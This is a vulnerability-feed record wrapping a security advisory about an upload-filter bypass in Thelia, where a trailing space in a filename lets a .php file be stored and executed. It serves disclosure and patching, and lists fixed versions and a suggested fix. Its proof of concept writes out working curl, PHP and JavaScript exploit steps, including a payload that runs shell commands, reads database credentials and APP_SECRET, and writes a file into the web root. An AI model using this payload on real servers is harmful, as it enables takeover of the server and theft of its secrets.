{"schema":"threatline.record/2","record":{"id":"GHSA-5524-qfxp-33v9","aliases":["GHSA-5524-qfxp-33v9"],"summary":"Upload policy bypass stores an executable `.php` document and runs it on the shop server (RCE)","details":"### Summary\r\n\r\nThelia validates document uploads against the raw filename the client sends, but\r\nwrites the file under a different, re-sanitized name. A filename such as\r\n`report.php ` (one trailing space, invisible in most tools) dodges both checks:\r\nthe blacklist regex is anchored to the end of the name, and the server-executable\r\nfloor compares dot segments exactly, so it sees `php ` instead of `php`. The\r\nstorage step then strips the space and saves the file as `report-1.php`. The file\r\nis published under the public cache directory as a symlink, and Apache with\r\nmod_php executes it on the next request. The result is remote code execution as\r\nthe `www-data` user, available to any administrator profile that may upload\r\ndocuments. Verified inside a container running Apache 2.4.68 with mod_php,\r\nPHP 8.3.35 and MariaDB 11.4, on a fresh install of the affected version.\r\n\r\n\r\n### Details\r\n\r\nAffected code (verified in pristine `repo/` @ `7668f3d`):\r\n\r\n- Upload entry: `POST /api/admin/product_documents` and the other four document\r\n  endpoints, `/api/admin/category_documents`, `/api/admin/content_documents`,\r\n  `/api/admin/folder_documents`, `/api/admin/brand_documents` (all five document\r\n  resources declare file type `document`), handled by\r\n  `core/lib/Thelia/Api/Controller/Admin/PostItemFileController.php:47-85` into\r\n  `core/lib/Thelia/Api/Bridge/Propel/Service/ItemFileResourceService.php:59`\r\n  (`validateUpload($file, 'document')`).\r\n- Check 1, terminal blacklist regex:\r\n  `core/lib/Thelia/Core/File/Service/FileProcessorService.php:119` takes\r\n  `getClientOriginalName()` as-is, and `:144-155` matches\r\n  `#^(.+)\\.(php|phtml|...)$#i` against it. `report.php ` ends with a space, so\r\n  the anchor never matches and the file passes.\r\n- Check 2, server-executable floor: `FileProcessorService.php:160-167` calls\r\n  `FileConfiguration::findExecutableExtension()`\r\n  (`core/lib/Thelia/Core/File/FileConfiguration.php:180-193`), which splits the\r\n  raw name on `.` and compares segments with a strict `in_array`. The segment is\r\n  `php `, which is not `php`, so the floor passes too.\r\n- Storage rewrites the name: `core/lib/Thelia/Core/File/FileManager.php:199-214`\r\n  takes the client extension (`.php `), appends `-{id}`, then\r\n  `sanitizeFileName()` (`FileManager.php:131-134`, which strips every character\r\n  outside `[a-zA-Z0-9-_.]` and lowercases) produces `report-1.php`. No validation\r\n  runs against the stored name.\r\n- Publication: `core/lib/Thelia/Action/Document.php` links the stored file into\r\n  `public/cache/documents/<type>/`, where the web server serves it. The same file\r\n  is also readable, unexecuted, through the public\r\n  `GET /api/front/product_documents/{id}/file` endpoint.\r\n- Privilege: document CREATE is a per-resource grant, not a super-admin action:\r\n  `ProductDocument` maps to `AdminResources::PRODUCT`\r\n  (`core/lib/Thelia/Api/Security/AdminApiResourcePermissions.php:150`).\r\n\r\nWhy the stored file executes on a stock deployment, and not only on a\r\ndevelopment server:\r\n\r\n- Thelia ships `public/.htaccess` whose first line is\r\n  `Options +FollowSymlinks -Indexes`, so the cache symlink is followed by design.\r\n- The rewrite rules in that file only fall through to `index.php` when the target\r\n  does not exist (`RewriteCond %{REQUEST_FILENAME} !-f !-d`), so a real `.php`\r\n  file is handed to the PHP handler instead of the front controller.\r\n- Nothing in `public/.htaccess` disables script execution or strips the `.php`\r\n  extension for `public/cache/`.\r\n- The `deny from all` in `local/config/.htaccess` does not help: it applies to\r\n  requests under `/local/`, which is outside the document root, while the\r\n  symlinked file is requested through `/cache/documents/...`.\r\n\r\nThe same trick works with a trailing tab, with an upper-case extension\r\n(`report.PHP ` stores `report.php-N.php`, which executes), with any character\r\n`sanitizeFileName` removes (verified: uploading `hash.ph#p ` stores\r\n`hash-N.php`, which executes), and it applies to every extension on the\r\nblacklist: `report.phtml ` stores `report-N.phtml` and `report.php5 ` stores\r\n`report-N.php5`. Whether those last two execute afterwards depends on the web\r\nserver, because the stock PHP Apache image maps only `\\.php$` to the handler\r\n(`/etc/apache2/conf-enabled/docker-php.conf`), and it served them as source in\r\nthis lab. Image and video uploads are not affected: both policies resolve a mime\r\ntype and then match an allowlist of extensions against the raw name, so `x.php `\r\nnever matches and the upload is refused.\r\n\r\n### Proof of concept\r\n\r\nVerification environment: isolated Docker lab, application installed from the\r\npinned pristine source (image `thelia-lab-web:3.2`, Apache 2.4.68 with mod_php\r\nserving `/var/www/html/public`, PHP 8.3.35, MariaDB 11.4.13 in a second\r\ncontainer). The steps below run inside the web container and talk to its own\r\nApache on `127.0.0.1`, so nothing in the proof depends on the outside of the\r\ncontainer. The lab is published on `127.0.0.1:18082` if you prefer to run the\r\nrequests from the host.\r\n\r\nStep 1, log in as admin and keep the token:\r\n\r\n```sh\r\nBASE=http://127.0.0.1\r\nATOKEN=$(curl -s -X POST $BASE/api/admin/login \\\r\n  -H 'Content-Type: application/json' \\\r\n  -d '{\"username\":\"thelia\",\"password\":\"TheliaAdmin1!\"}' \\\r\n  | php -r 'echo json_decode(stream_get_contents(STDIN), true)[\"token\"] ?? \"NO_TOKEN\";')\r\n```\r\n\r\nExpected: a JWT in `$ATOKEN` (observed length 535, header `eyJ0eXAiOiJKV1Qi`).\r\n\r\nStep 2, create the payload file:\r\n\r\n```sh\r\nprintf '<?php echo \"RCE_VIA_CURL\"; ?>' > /tmp/curltest.php\r\n```\r\n\r\nExpected: `/tmp/curltest.php` holds the one-line PHP payload.\r\n\r\nStep 3, upload it with a client filename that carries one trailing space:\r\n\r\n```sh\r\ncurl -s -o /tmp/up.json -w 'upload HTTP:%{http_code}\\n' -X POST $BASE/api/admin/product_documents \\\r\n  -H \"Authorization: Bearer $ATOKEN\" \\\r\n  -F 'fileToUpload=@/tmp/curltest.php;filename=\"curltest.php \";type=application/octet-stream' \\\r\n  -F 'product=1'\r\n```\r\n\r\nObserved: HTTP 201. The response contains `\"file\":\"curltest-1.php\"` and\r\n`\"fileUrl\":\"http://127.0.0.1/cache/documents/product/curltest-1.php\"`. The\r\nstored name has no trailing space: the sanitizer collapsed it into a real `.php`\r\nextension. The numeric id increments on later uploads; take it from the response.\r\n\r\nStep 4, open the published URL with no credentials:\r\n\r\n```sh\r\ncurl -s -D - $BASE/cache/documents/product/curltest-1.php\r\n```\r\n\r\nObserved: `HTTP/1.1 200 OK`, `Server: Apache/2.4.68 (Debian)`,\r\n`X-Powered-By: PHP/8.3.35`, `Content-Type: text/html; charset=UTF-8`, body\r\n`RCE_VIA_CURL`. The uploaded file was executed by Apache.\r\n\r\nStep 5, confirm the execution context and the impact in one payload:\r\n\r\n```sh\r\ncat > /tmp/ctx.php <<'PHP'\r\n<?php\r\necho \"sapi/server  : \".php_sapi_name().\" / \".($_SERVER[\"SERVER_SOFTWARE\"] ?? \"?\").\"\\n\";\r\necho \"runtime user : \".posix_getpwuid(posix_geteuid())[\"name\"].\" (uid \".posix_geteuid().\")\\n\";\r\necho \"cwd          : \".getcwd().\"\\n\";\r\necho \"script       : \".($_SERVER[\"SCRIPT_FILENAME\"] ?? \"?\").\"\\n\";\r\necho \"command exec : \".preg_replace(\"/\\s+/\", \" \", (string) shell_exec(\"id\")).\"\\n\";\r\n$env = @file_get_contents(\"/var/www/html/.env.local\");\r\n$keys = [];\r\nforeach (explode(\"\\n\", (string) $env) as $l) {\r\n    if (preg_match(\"/^(DATABASE_\\w+|APP_SECRET)=(.*)$/\", trim($l), $m)) $keys[] = $m[1];\r\n}\r\necho \"secrets read : \".implode(\", \", $keys).\" (values not shown)\\n\";\r\n$pdo = new PDO(\"mysql:host=db;dbname=thelia\", \"thelia\", \"thelia\");\r\necho \"db pivot     : \".$pdo->query(\"SELECT CURRENT_USER()\")->fetchColumn().\" on \".$pdo->query(\"SELECT VERSION()\")->fetchColumn().\"\\n\";\r\nfile_put_contents(\"/var/www/html/public/pwned.txt\", \"written by uploaded payload\\n\");\r\necho \"file write   : /var/www/html/public/pwned.txt created\\n\";\r\nPHP\r\ncurl -s -o /dev/null -w 'upload HTTP:%{http_code}\\n' -X POST $BASE/api/admin/product_documents \\\r\n  -H \"Authorization: Bearer $ATOKEN\" \\\r\n  -F 'fileToUpload=@/tmp/ctx.php;filename=\"ctx.php \";type=application/octet-stream' \\\r\n  -F 'product=1'\r\ncurl -s $BASE/cache/documents/product/ctx-2.php\r\n```\r\n\r\nObserved: HTTP 201, then the page prints `sapi/server : apache2handler /\r\nApache/2.4.68 (Debian)`, `runtime user : www-data (uid 33)`, `cwd :\r\n/var/www/html/public/cache/documents/product`, `script :\r\n/var/www/html/public/cache/documents/product/ctx-2.php`, `command exec :\r\nuid=33(www-data) gid=33(www-data) groups=33(www-data)`, `secrets read :\r\nDATABASE_HOST, DATABASE_PORT, DATABASE_NAME, DATABASE_USER, DATABASE_PASSWORD,\r\nAPP_SECRET`, `db pivot : thelia@% on 11.4.13-MariaDB-ubu2404`, and `file write :\r\n/var/www/html/public/pwned.txt created`. The interpreter is Apache's module\r\nhandler, the process is the Apache worker of the web container, and the uploaded\r\ncode ran operating system commands, opened the application database, and wrote\r\na new file into the document root.\r\n\r\nStep 6, confirm that write from inside the container:\r\n\r\n```sh\r\nls -l /var/www/html/public/pwned.txt\r\ncurl -s http://127.0.0.1:18082/pwned.txt\r\n```\r\n\r\nObserved: `-rw-r--r-- 1 www-data www-data 28 ... pwned.txt`, and the file is\r\nserved by the same Apache.\r\n\r\nStep 7, the same on the other four document endpoints:\r\n\r\n```sh\r\nfor spec in \"category_documents:category:1\" \"content_documents:content:1\" \"folder_documents:folder:1\" \"brand_documents:brand:1\"; do\r\n  ep=${spec%%:*}; rest=${spec#*:}; field=${rest%%:*}; id=${rest##*:}\r\n  name=$(echo $ep | sed \"s/_documents//\")\r\n  code=$(curl -s -o /tmp/r.json -w \"%{http_code}\" -X POST $BASE/api/admin/$ep \\\r\n    -H \"Authorization: Bearer $ATOKEN\" \\\r\n    -F \"fileToUpload=@/tmp/curltest.php;filename=\\\"${name}doc.php \\\";type=application/octet-stream\" \\\r\n    -F \"$field=$id\")\r\n  stored=$(php -r '$j=json_decode(file_get_contents(\"/tmp/r.json\"),true); echo $j[\"file\"] ?? \"-\";')\r\n  echo \"$ep -> HTTP:$code stored:$stored\"\r\ndone\r\n```\r\n\r\nObserved: `category_documents -> HTTP:201 stored:categorydoc-1.php`,\r\n`content_documents -> HTTP:201 stored:contentdoc-1.php`, `folder_documents ->\r\nHTTP:201 stored:folderdoc-1.php`, `brand_documents -> HTTP:201\r\nstored:branddoc-1.php`.\r\n\r\n```sh\r\nfor f in category/categorydoc-1.php content/contentdoc-1.php folder/folderdoc-1.php brand/branddoc-1.php; do\r\n  printf \"%-28s -> HTTP:\" \"$f\"\r\n  curl -s -o /tmp/b.txt -w \"%{http_code}\" $BASE/cache/documents/$f\r\n  printf \" body:%s\\n\" \"$(cat /tmp/b.txt)\"\r\ndone\r\n```\r\n\r\nObserved: each returns HTTP 200 with body `RCE_VIA_CURL`, so all four endpoints\r\nexecute the stored file, not just the product one.\r\n\r\nStep 8, the video policy on its own upload route:\r\n\r\n```sh\r\nprintf 'not really an mp4' > /tmp/fake.mp4\r\ncurl -s -o /tmp/v1.txt -w '%{http_code}\\n' -X POST $BASE/api/admin/product_videos/upload \\\r\n  -H \"Authorization: Bearer $ATOKEN\" \\\r\n  -F 'fileToUpload=@/tmp/fake.mp4;filename=\"x.php \";type=video/mp4' -F 'product=1'\r\n```\r\n\r\nObserved: HTTP 415, detail `Only files having the following mime type are\r\nallowed: video/mp4, video/webm, video/ogg`. The video policy refuses the name\r\nbefore any document-style storage happens.\r\n\r\nContrast 1, a clean `.php` name is refused on the document route:\r\n\r\n```sh\r\nprintf '<?php echo \"BLOCKED\"; ?>' > /tmp/plain.php\r\ncurl -s -o /tmp/c1.txt -w '%{http_code}\\n' -X POST $BASE/api/admin/product_documents \\\r\n  -H \"Authorization: Bearer $ATOKEN\" \\\r\n  -F 'fileToUpload=@/tmp/plain.php' -F 'product=1'\r\n```\r\n\r\nObserved: HTTP 415, detail `Files with the following extension are not allowed:\r\nphp, please do an archive of the file if you want to upload it`.\r\n\r\nContrast 2, the classic double extension is refused by the exec floor:\r\n\r\n```sh\r\ncurl -s -o /tmp/c2.txt -w '%{http_code}\\n' -X POST $BASE/api/admin/product_documents \\\r\n  -H \"Authorization: Bearer $ATOKEN\" \\\r\n  -F 'fileToUpload=@/tmp/plain.php;filename=\"plain.php.jpg\"' -F 'product=1'\r\n```\r\n\r\nObserved: HTTP 415. The floor found the exact `php` segment.\r\n\r\nContrast 3, the image policy is not bypassable the same way:\r\n\r\n```sh\r\nphp -r '$im = imagecreatetruecolor(4, 4); imagejpeg($im, \"/tmp/tiny.jpg\");'\r\ncurl -s -o /tmp/c3.txt -w '%{http_code}\\n' -X POST $BASE/api/admin/product_images \\\r\n  -H \"Authorization: Bearer $ATOKEN\" \\\r\n  -F 'fileToUpload=@/tmp/tiny.jpg;filename=\"x.php \";type=image/jpeg' -F 'product=1'\r\n```\r\n\r\nObserved: HTTP 415, detail `There's a conflict between your file extension \"php \"\r\nand the mime type \"image/jpeg\"`. The mime type was accepted and the anchored\r\nallowlist regex rejected the name, which is the opposite of the document path.\r\n\r\nPersistent state inside the container:\r\n\r\n```sh\r\nls -l /var/www/html/public/cache/documents/product/\r\nls -l /var/www/html/local/media/documents/product/\r\nps -eo user,pid,ppid,comm | awk '$4==\"apache2\"'\r\n```\r\n\r\nObserved: the public cache holds `curltest-1.php ->\r\n/var/www/html/local/media/documents/product/curltest-1.php` and the media store\r\nholds the real `curltest-1.php`, both owned by `www-data`; the Apache master runs\r\nas `root` and its workers, the ones that run the uploaded code, run as\r\n`www-data`. The database row for the upload is `id=1 file=curltest-1.php`.\r\n\r\nManual browser-console equivalent of steps 1, 3 and 4:\r\n\r\n```js\r\nlet r = await fetch('/api/admin/login', {\r\n  method: 'POST', headers: {'Content-Type': 'application/json'},\r\n  body: JSON.stringify({username: 'thelia', password: 'TheliaAdmin1!'})\r\n});\r\nlet {token} = await r.json();\r\nlet fd = new FormData();\r\nfd.append('fileToUpload',\r\n  new File(['<?php echo \"RCE_VIA_CURL\"; ?>'], 'curltest.php ', {type: 'application/octet-stream'}),\r\n  'curltest.php ');\r\nfd.append('product', '1');\r\nlet doc = await (await fetch('/api/admin/product_documents', {\r\n  method: 'POST', headers: {Authorization: 'Bearer ' + token}, body: fd})).json();\r\nwindow.open(doc.fileUrl);\r\n```\r\n\r\nExpected: `doc.file` ends in `.php`, and the opened URL prints the payload output\r\ninstead of the source.\r\n\r\n### Impact\r\n\r\nAny administrator who can upload documents gains remote code execution as the\r\n`www-data` user of the shop: run operating system commands as the web server,\r\nread the application database credentials and `APP_SECRET` from the world-readable\r\n`.env.local`, use them to query the shop database, and write new files into the\r\ndocument root, which the same web server then serves. In the container this was\r\ndemonstrated end to end: `shell_exec(\"id\")` returned `uid=33(www-data)`, the\r\ndatabase answered as `thelia@%` on MariaDB 11.4.13, and a new file appeared in\r\n`public/` and was served over HTTP. Document CREATE is a routine\r\ncatalog-manager grant, so this lifts a content-editing role to full control of\r\nthe application and the host account behind it, with no victim interaction. Where\r\na deployment is hardened so that `public/` is not mapped to a PHP handler, the\r\nsame upload still publishes the raw file body to a public URL.\r\n\r\n## Suggested Fix\r\n\r\nValidate the name the file will actually be stored under. Either normalize the\r\nclient filename first (trim whitespace and control characters) and run both\r\nchecks on the normalized name, or re-run `validateUpload()` on the final name\r\nreturned by `renameFile()` before the file is moved into place. Reject any client\r\nextension that contains characters outside `[A-Za-z0-9]` outright, and as defense\r\nin depth serve the document cache from a location the web server never maps to a\r\nPHP handler (or disable script execution in `public/cache/`).","categories":["Unclassified"],"product":"thelia/thelia","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/thelia/thelia/security/advisories/GHSA-5524-qfxp-33v9","source_modified_at":"2026-10-06T10:16:08Z","fetched_at":"2026-10-26T06:00:26.954813Z","package":{"ecosystem":"composer","name":"thelia/thelia"},"range":"< 3.1.2"},{"source":"GitHub Advisory Database","source_url":"https://github.com/thelia/thelia/security/advisories/GHSA-5524-qfxp-33v9","source_modified_at":"2026-10-06T10:16:08Z","fetched_at":"2026-10-26T06:00:26.954813Z","package":{"ecosystem":"composer","name":"thelia/thelia"},"range":">= 3.2.0, < 3.2.1"},{"source":"GitHub Advisory Database","source_url":"https://github.com/thelia/thelia/security/advisories/GHSA-5524-qfxp-33v9","source_modified_at":"2026-10-06T10:16:08Z","fetched_at":"2026-10-26T06:00:26.954813Z","package":{"ecosystem":"composer","name":"thelia/core"},"range":"< 3.1.2"},{"source":"GitHub Advisory Database","source_url":"https://github.com/thelia/thelia/security/advisories/GHSA-5524-qfxp-33v9","source_modified_at":"2026-10-06T10:16:08Z","fetched_at":"2026-10-26T06:00:26.954813Z","package":{"ecosystem":"composer","name":"thelia/core"},"range":">= 3.2.0, < 3.2.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/thelia/thelia/security/advisories/GHSA-5524-qfxp-33v9","source_modified_at":"2026-10-06T10:16:08Z","fetched_at":"2026-10-26T06:00:26.954813Z","package":{"ecosystem":"composer","name":"thelia/thelia"},"version":"3.1.2"},{"source":"GitHub Advisory Database","source_url":"https://github.com/thelia/thelia/security/advisories/GHSA-5524-qfxp-33v9","source_modified_at":"2026-10-06T10:16:08Z","fetched_at":"2026-10-26T06:00:26.954813Z","package":{"ecosystem":"composer","name":"thelia/thelia"},"version":"3.2.1"},{"source":"GitHub Advisory Database","source_url":"https://github.com/thelia/thelia/security/advisories/GHSA-5524-qfxp-33v9","source_modified_at":"2026-10-06T10:16:08Z","fetched_at":"2026-10-26T06:00:26.954813Z","package":{"ecosystem":"composer","name":"thelia/core"},"version":"3.1.2"},{"source":"GitHub Advisory Database","source_url":"https://github.com/thelia/thelia/security/advisories/GHSA-5524-qfxp-33v9","source_modified_at":"2026-10-06T10:16:08Z","fetched_at":"2026-10-26T06:00:26.954813Z","package":{"ecosystem":"composer","name":"thelia/core"},"version":"3.2.1"}],"cvss":9.1,"severity":"Critical","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-06T10:16:07Z","modified_at":"2026-10-06T10:16:08Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/thelia/thelia/security/advisories/GHSA-5524-qfxp-33v9","fetched_at":"2026-10-26T06:00:26.954813Z","source_modified_at":"2026-10-06T10:16:08Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-06T10:16:08Z","content_hash":"7a8ec1d09b552b0819193a2e81baa3065a21b773e0e208b260da636464c666b9"}}
